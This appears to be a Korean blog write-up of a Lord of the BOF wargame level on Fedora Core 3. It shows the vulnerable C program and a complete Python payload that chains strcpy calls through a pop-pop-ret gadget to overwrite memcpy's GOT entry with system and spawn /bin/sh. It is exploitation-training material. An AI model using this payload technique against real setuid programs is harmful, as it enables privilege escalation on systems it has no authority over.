[LOB FC3] hell_fire -> evil_wizard
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 | /* The Lord of the BOF : The Fellowship of the BOF - evil_wizard - Local BOF on Fedora Core 3 - hint : GOT overwriting */ // magic potion for you void pop_pop_ret(void) { asm("pop %eax"); asm("pop %eax"); asm("ret"); } int main(int argc, char *argv[]) { char buffer[256]; char saved_sfp[4]; int length; if(argc < 2){ printf("argv error\n"); exit(0); } // for disturbance RET sleding length = strlen(argv[1]); // healing potion for you setreuid(geteuid(), geteuid()); setregid(getegid(), getegid()); // save sfp memcpy(saved_sfp, buffer+264, 4); // overflow!! strcpy(buffer, argv[1]); // restore sfp memcpy(buffer+264, saved_sfp, 4); // disturbance RET sleding memset(buffer+length, 0, (int)0xff000000 - (int)(buffer+length)); printf("%s\n", buffer); } | cs |
힌트는 GOT overwrite다. 아예 매직포션이라고 pop-pop-ret 가젯을 준다.
힐링포션으로 setreuid도 해주므로... 우리가 할 것은 system함수로 "/bin/sh" 등을 인자로 넣어주면 될 것같다.
코드를 보면 ret sled는 막혓고(스택에 있는 값을 지워버린다) sfp또한 저장되었다가 restore된다.
GOT overwrite를 수행해야한다...
필요한 가젯들을 모아보자.
memcpy_plt : 0x8048434
strcpy_plt : 0x8048494
memcpy_got : 0x8049888 //값: 0x007854c0
pop-pop-ret : 0x0804854f
/bin/sh : 0x833603
system : 0x7507c0
c0 : //memcpy_got의 마지막값이 c0이라 일단 보류
07 : 0x8048154
75 : 0x80482c8
00 : 0x8049840
objdump와 grep을 쓰면 system함수를 만들 가젯들을 찾기 쉽다.
objdump -s evil_wizard | grep ?? --color=auto
strcpy(memcpy_got, &c0), strcpy(memcpy_got+1, &07), strcpy(memcpy_got+2, &75), strcpy(memcpy_got+3, &00)을 수행하면 되고
이것들을 연속적으로 호출하기 위해서 pop-pop-ret가젯이 필요하다.
strcpy주소 - ppr주소 - 인자1 - 인자2 - strcpy주소 - ppr주소 .... 이런식으로 이뤄진다.
payload를 짜보자. python을 이용하겠다.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 | from struct import * p = lambda x : pack('<L', x) memcpy_plt = p(0x8048434) strcpy_plt = p(0x8048494) memcpy_got = 0x8049888 ppr = p(0x0804854f) bin_sh=p(0x833603) payload = "A"*268 payload += strcpy_plt+ppr+p(memcpy_got+1)+p(0x8048154) payload += strcpy_plt+ppr+p(memcpy_got+2)+p(0x80482c8) payload += strcpy_plt+ppr+p(memcpy_got+3)+p(0x8049840) payload += memcpy_plt + "BBBB" + bin_sh print(payload) | cs |
공격!!!!
한번에 성공했다... 이럴수가;; 굿...
'Wargame > LOB' 카테고리의 다른 글
[LOB FC3] evil_wizard -> dark_stone (0) | 2018.04.26 |
---|---|
[LOB FC3] dark_eyes -> hell_fire (0) | 2018.04.25 |
[LOB FC3] iron_golem -> dark_eyes (0) | 2018.04.25 |
[LOB FC3] gate -> iron_golem (0) | 2018.04.25 |
[LOB FC3] dark_eyes -> hell_fire에서 system함수를 사용할때 오류 (0) | 2018.04.23 |